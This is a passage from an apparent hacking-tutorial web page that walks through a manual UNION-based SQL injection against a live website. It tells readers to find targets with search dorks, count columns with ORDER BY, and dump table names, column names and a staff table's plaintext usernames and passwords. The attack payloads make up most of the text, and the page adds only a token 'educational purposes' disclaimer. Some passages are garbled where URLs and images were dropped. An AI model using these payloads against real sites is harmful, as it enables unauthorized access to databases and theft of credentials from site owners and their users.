How to Hack

How To Hack Website By Sql Injection

Basic SQL Injection walkthrough with as an example.(Not vulnerable Now)

You can find many vulnerable websites using  dorks.


The first thing you’ll do is point your browser to that site then add a tick at the end of it.


Success! You will get the valuable SQL Error that your looking for.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near ”’ ORDER BY id ASC LIMIT 0, 1′ at line 1

Now it is time to discover how many columns the database has.
The easiest way to do this is by using the “Order By” statement in SQL
There are many other ways to do this but, this is the way I use.
So to do it first you will put in the url and add this to the end “order by 1–“

Code: order by 1–

You’ll notice that the site loads normally, because it has 1 column in its database.
The next thing will be to make it a negative interger so that you don’t get all of the fuzz from the
site and make it cleaner to see what your doing. order by 1–

Notice it is a negative 124 now “-124”

Now its time to find out just how many columns it has. You do this by increasing the order by number:

Code: order by 1– order by 2– order by 3– order by 4– order by 5– order by 6– order by 7– order by 8– order by 9– order by 10– order by 11–

Success! it errors on “order by 11–” It does this because there aren’t 11 columns in the database.
So now that we know we have only 10 columns we go into a new statement “UNION SELECT ALL”.
This can be done a number of ways too but this is the way I do it.

Code: union select all 1,2,3,4,5,6,7,8,9,10–

What this does is searchs the database and returns which columns have data stored in them.
Notice that we have data stored in columns 2,3 and 4.
The next step will be to get the websites database version. We do this with a simple “@@version”
in place of one of the numbers where data is stored, I will use 4.

Code: union select all 1,2,3,@@version,5,6,7,8,9,10–

This will return the database version in the site where the number 4 was located.
Our version is:

Next step is to get the table names, now this is where alot of the tutorials fall short, the so the simple:
from information_schema.tables–
This will not generate just the user created tables this will show you a bunch of garbage such as CHARACTER_SETS, COALLATIONS, etc…
What we will do is just add on to this code with:
from information_schema.tables WHERE table_schema=database()–

To make this work on site we need to use the statemenet “group_concat” to display the tables:

For columns:


Code: union select all 1,2,3,group_concat(table_name),5,6,7,8,9,10 from information_schema.tables where table_schema=database()–

Ahh now we have the user created table names:


Now you need to look at the table names and decide which one would hold sensitive
data, to me
“staff” looks like a good choice.
So we will remember that for in a minute.

Next we will get the column names from the database with:
group_concat(column_name) from information_schema.columns where table_schema=database()–


Now you need to sift through these column names and find ones of interest to us. But what happens when you don’t see a column like username or password?

Well sometime some of the columns will be cut off notice the “contact3title,c” at the end of the list.
Now its time to do a little guessing, this time its easier than most. username and password are both column names.

So to get check the columns we will use “group_concat” again but with our guessed column names and instead of:
from information_schema.tables where table_schema=database–
We will use:
from staff–
Remember I told you to remember the table name from earlier.

To give you an idea of what a wrong column name would look like it will look like this:
Note: 0x3a is the hex code for the colon “:”

Code: union select all 1,2,3,group_concat(user,0x3a,pass),5,6,7,8,9,10 from staff–

But we will try username and password this time.

Code: union select all 1,2,3,group_concat(username,0x3a,password),5,6,7,8,9,10 from staff–

Bingo! We have a short list of usernames and they arent even hashed:

Note: I am not responsible for any misuse of this tutorial.this is just for educational purposes.

Most Popular

To Top

Subscribe For Latest Updates

Signup for our newsletter and get notified when we publish new articles for free!